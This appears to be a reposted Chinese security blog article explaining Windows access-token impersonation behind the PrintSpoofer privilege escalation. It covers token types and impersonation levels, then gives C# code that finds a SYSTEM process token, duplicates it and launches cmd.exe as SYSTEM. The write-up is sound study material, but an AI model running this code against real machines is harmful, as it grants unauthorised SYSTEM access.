从pipePotato中学习Windows Access Token令牌模拟

本文转载自查看原文 2020-05-09 15:02 671

上周安全研究员itm4n发布了PrintSpoofer权限提升： https://itm4n.github.io/printspoofer-abusing-impersonate-privileges/。经过分析Github上的代码（也可以看这篇360灵腾安全实验室发布的原理分析： https://www.anquanke.com/post/id/204510）大致成因是spoolsv.exe进程会注册一个 rpc 服务,任何授权用户可以访问他,同时攻击者可以利用Server names规范问题注册一个命名管道,而同时System用户访问该管道的时候，我们就可以模拟该token创建一个System权限的进程。下面就简单讲一下Token模拟的原理。

Windows Access Token 简介

Windows Token其实叫Access Token(访问令牌)，它是一个描述进程或者线程安全上下文的一个对象。不同的用户登录计算机后，都会生成一个Access Token，这个Token在用户创建进程或者线程时会被使用，不断的拷贝，这也就解释了A用户创建一个进程而该进程没有B用户的权限。

1.Access Token种类

主令牌（Primary令牌）
模拟令牌（Impersonation令牌）

两种token只有在系统重启后才会清除；授权令牌在用户注销后，该令牌会变为模拟令牌依旧有效。

2.Access Token的组成

用户账户的安全标识符(SID)
用户所属的组的SID
用于标识当前登陆会话的登陆SID
用户或用户组所拥有的权限列表
所有者SID
主要组的SID
访问控制列表
访问令牌的来源
令牌是主要令牌还是模拟令牌
限制SID的可选列表
目前的模拟等级
其他统计的数据

可以通过whoami /user命令查看当前的SID

3.Windows Access Token的产生过程

使用凭据(用户密码)进行认证-->登录Session创建-->Windows返回用户sid和用户组sid-->LSA(Local Security Authority)创建一个Token-->依据该token创建进程、线程(如果CreaetProcess时自己指定了 Token, LSA会用该Token，否则就继承父进程Token进行运行)

4.编写一个模拟令牌demo

首先了解下令牌的四个模拟级别，分别是：Anonymous，Identification，Impersonation，Delegation

Anonymous：服务器无法模拟或识别客户端。
Identification：服务器可以获取客户端的身份和特权，但不能模拟客户端。
Impersonation：服务器可以在本地系统上模拟客户端的安全上下文。
Delegation：服务器可以在远程系统上模拟客户端的安全上下文。

所以当令牌具有Impersonation和Delegation级别的时候才可以进行模拟。

有了令牌了，就需要进一步利用令牌做点事情，下述列出了三个通过用户身份创建进程的函数

函数	需要的特权	需要输入的值
CreateProcessWithLogon()	null	域/用户名/密码
CreateProcessWithToken()	SeImpersonatePrivilege	Primary令牌
CreateProcessAsUser()	SeAssignPrimaryTokenPrivilege和SeIncreaseQuotaPrivilege	Primary令牌

言而总之，只要我们有SeAssignPrimaryToken或者SeImpersonate权限，就可以通过模拟Primary令牌来提升权限

而Primary令牌可以通过DuplicateTokenEx调用一个Impersonation令牌来转换。

所以一个模拟令牌的过程大概是：OpenProcess(获取目标进程上下文)->OpenProcessToken(获得进程访问令牌的句柄)-->DuplicateTokenEx(创建一个主/模拟令牌)-->CreateProcessWithTokenW(创建进程)

接下来便要开始拓展一下“Token Kidnapping”技术了， https://msrc-blog.microsoft.com/2009/04/14/token-kidnapping/

在这篇报告中可以看出Token Kidnapping的核心：

所以，我们则需要对每个进程进行爆破，直到找到满足如下条件的进程：

进程运行用户是SYSTEM
令牌级别至少是Impersonation级别
攻击者运行的权限至少拥有SeImpersonatePrivilege

我在后面使用C#编写了一个demo，大概执行过程我会在这里详细的介绍。并在文章末尾附上Github地址。

 1 public static Boolean EnumerateUserProcesses()
 2         {
 3             Boolean rs = false;
 4             Process[] pids = Process.GetProcesses();
 5             Console.WriteLine("[*] Examining {0} processes", pids.Length);
 6             foreach (Process p in pids)
 7             {
 8                 if (p.ProcessName.ToUpper().Equals("System".ToUpper())) {       //跳过进程名为"System"的进程
 9                     continue;
10                 }
11                 IntPtr hProcess = OpenProcess(Flags.PROCESS_QUERY_INFORMATION, true, p.Id);
12                 if (IntPtr.Zero == hProcess)
13                 {
14                     hProcess = OpenProcess(Flags.PROCESS_QUERY_LIMITED_INFORMATION, true, p.Id); //required for protected processes
15                     if (IntPtr.Zero == hProcess)
16                     {
17                         continue;
18                     }
19                 }
20                 IntPtr hToken;
21                 if (!OpenProcessToken(hProcess, Flags.MAXIMUM_ALLOWED, out hToken))
22                 {
23                     continue;
24                 }
25                 CloseHandle(hProcess);
26 
27                 UInt32 dwLength = 0;
28                 TOKEN_STATISTICS tokenStatistics = new TOKEN_STATISTICS();
29                 if (!GetTokenInformation(hToken, TOKEN_INFORMATION_CLASS.TokenStatistics, ref tokenStatistics, dwLength, out dwLength))
30                 {
31                     if (!GetTokenInformation(hToken, TOKEN_INFORMATION_CLASS.TokenStatistics, ref tokenStatistics, dwLength, out dwLength))
32                     {
33                         continue;
34                     }
35                 }
36 
37                 String userName = String.Empty;
38                 if (!GetTokenInformationToUsername(tokenStatistics, ref userName))
39                 {
40                     continue;
41                 }
42 
43                 rs = token_elevation(hToken);
44                 if (rs)
45                 {
46                     Console.WriteLine("模拟成功！PID:" + p.Id);
47                     break;
48                 }
49             }
50             return rs;
51         }

该EnumerateUserProcesses函数中依次获取当前系统的进程PID，并获取对应的Token句柄传入token_elevation利用函数中。

同时在进程的两处OpenProcess函数，是为了绕过操作系统的Protect Process机制(像csrss、smss进程)

但是在传入token_elevation之前，利用两次GetTokenInformation(WIndows系统API)和GetTokenInformationToUsername来进行判断。

GetTokenInformation函数检索指定令牌的相关信息，关于这里为什么要调用两次，是因为第一次调用是为了获取令牌信息需要的缓冲区的大小,这是在使用Win32 API中的一个常用做法, 很多Win32 API都可以这样使用, 目的是不用让程序员总是创建一个假设一定足够的缓冲区, 这在很多时候会造成空间上的浪费

而下一个判断函数GetTokenInformationToUsername，则是利用LookupAccountSid来判断SID的用户是不是SYSTEM

1 LookupAccountSid(String.Empty, securityLogonSessionData.Sid, lpName, ref cchName, lpReferencedDomainName, ref cchReferencedDomainName, out sidNameUse);
2 
3             userName = lpName.ToString();
4             if (!userName.ToUpper().Equals("System".ToUpper())) {
5                 return false;
6             }

接下来就是重头戏token_elevation函数

 1 public static Boolean token_elevation(IntPtr hExistingToken) {
 2             IntPtr phNewToken;
 3             STARTUPINFO StartupInfo = new STARTUPINFO();
 4             PROCESS_INFORMATION procinfo = new PROCESS_INFORMATION();
 5             StartupInfo.cb = (UInt32)Marshal.SizeOf(StartupInfo);
 6             SECURITY_ATTRIBUTES securityAttributes = new SECURITY_ATTRIBUTES();
 7             if (!DuplicateTokenEx(
 8                         hExistingToken,
 9                         Flags.TOKEN_ALL_ACCESS,
10                         ref securityAttributes,
11                         SECURITY_IMPERSONATION_LEVEL.SecurityImpersonation,
12                         TOKEN_TYPE.TokenPrimary,
13                         out phNewToken
14             ))
15             {
16                 return false;
17             }
18             Console.WriteLine("[+] Duplicate The Token!");
19 
20             //提升自身进程权限
21             //if (!ImpersonateLoggedOnUser(phNewToken))
22             //{
23             //    return false;
24             //}
25             //Console.WriteLine("[+] Operating as {0}", System.Security.Principal.WindowsIdentity.GetCurrent().Name);
26 
27             if (CreateProcessWithTokenW(phNewToken, CREATE_FLAGS.LOGON_WITH_PROFILE, "C:\\Windows\\System32\\cmd.exe", null, CREATION_FLAGS.CREATE_NEW_CONSOLE, IntPtr.Zero, IntPtr.Zero, ref StartupInfo, out procinfo))
28             {
29                 Console.WriteLine("[+] SUCCESS");
30                 return true;
31             }
32             return false;
33         }